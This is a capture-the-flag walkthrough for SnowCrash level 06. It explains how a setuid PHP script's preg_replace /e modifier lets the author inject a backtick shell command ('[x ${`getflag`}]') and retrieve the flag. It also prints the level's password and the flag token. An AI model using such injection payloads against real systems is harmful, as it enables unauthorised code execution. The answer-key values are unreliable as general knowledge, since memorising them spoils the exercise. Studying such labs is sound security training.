| .. | ||
| flag | ||
| passwd | ||
| README.md | ||
Level 06
how to login
username: level06
password: viuaaale9huek52boumoomioc
Goal
run getflag as user flag06
Actually doing something
level06@SnowCrash:~$ ls -la
total 24
dr-xr-x---+ 1 level06 level06 140 Mar 5 2016 .
d--x--x--x 1 root users 340 Aug 30 2015 ..
-r-x------ 1 level06 level06 220 Apr 3 2012 .bash_logout
-r-x------ 1 level06 level06 3518 Aug 30 2015 .bashrc
-rwsr-x---+ 1 flag06 level06 7503 Aug 30 2015 level06
-rwxr-x--- 1 flag06 level06 356 Mar 5 2016 level06.php
-r-x------ 1 level06 level06 675 Apr 3 2012 .profile
A php file, and a setuid binary ? Seems fishy
lets look at the php file first
#!/usr/bin/php
<?php
function y($m) { $m = preg_replace("/\./", " x ", $m); $m = preg_replace("/@/", " y", $m); return $m; }
function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a = preg_replace("/\]/", ")", $a); return $a; }
$r = x($argv[1], $argv[2]); print $r;
?>
This doesnt look good...
lets try to run the setuid binary
level06@SnowCrash:~$ ./level06
PHP Warning: file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4
level06@SnowCrash:~$ ./level06 /tmp/flag05
#!/bin/sh
getflag >/tmp/flag05-output 2>&1
chmod +w /tmp/flag05-output
Can we ... just read whatever file we want ?! There must be something
lets look a the php file a bit more
Here is it with a better formatting
#!/usr/bin/php
<?php
function y($m) {
$m = preg_replace("/\./", " x ", $m);
$m = preg_replace("/@/", " y", $m);
return $m;
}
function x($y, $z) {
$a = file_get_contents($y);
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
$a = preg_replace("/\[/", "(", $a);
$a = preg_replace("/\]/", ")", $a);
return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>
and here it is with better names
#!/usr/bin/php
<?php
function y($res) {
$res = preg_replace("/\./", " x ", $res);
$res = preg_replace("/@/", " y", $res);
return $res;
}
function x($arg1, $unused) {
$res = file_get_contents($arg1);
$res = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $res);
$res = preg_replace("/\[/", "(", $res);
$res = preg_replace("/\]/", ")", $res);
return $res;
}
$r = x($argv[1], $argv[2]);
print $r;
?>
it looks like it replaces lots of stuff, but overhall doesnt do much things
until I researched what the /e meant in the line right after file_get_contents
so it turns out this is a deprecated (and then removed) feature of PHP that allows the regexes search and replace to run code for every match
meaning that this will match any [x <STUFF HERE>] and run the function y("<STUFF HERE>")
lets try some stuff then !
level06@SnowCrash:~$ echo "[x @.@@.] @@" >/tmp/06
level06@SnowCrash:~$ ./level06 /tmp/06
y x y y x @@
It indeed ran the function y on the stuff inside brackets but not the stuff outside
so after a bit of digging into php, this seems to work and give us the flag !
level06@SnowCrash:~$ echo '[x ${`getflag`}]' >/tmp/06 && ./level06 /tmp/06
PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
in /home/user/level06/level06.php(4) : regexp code on line 1
From what I understood: ${stuff} is a way to reference a variable name using another expression (here the variable name will be whatever stuff evaluates to)
and stuff\ runs the shell command stuff
meaning that we want to get a variable named after the result of getflag -> it doesnt exist -> php compains and print a warning :D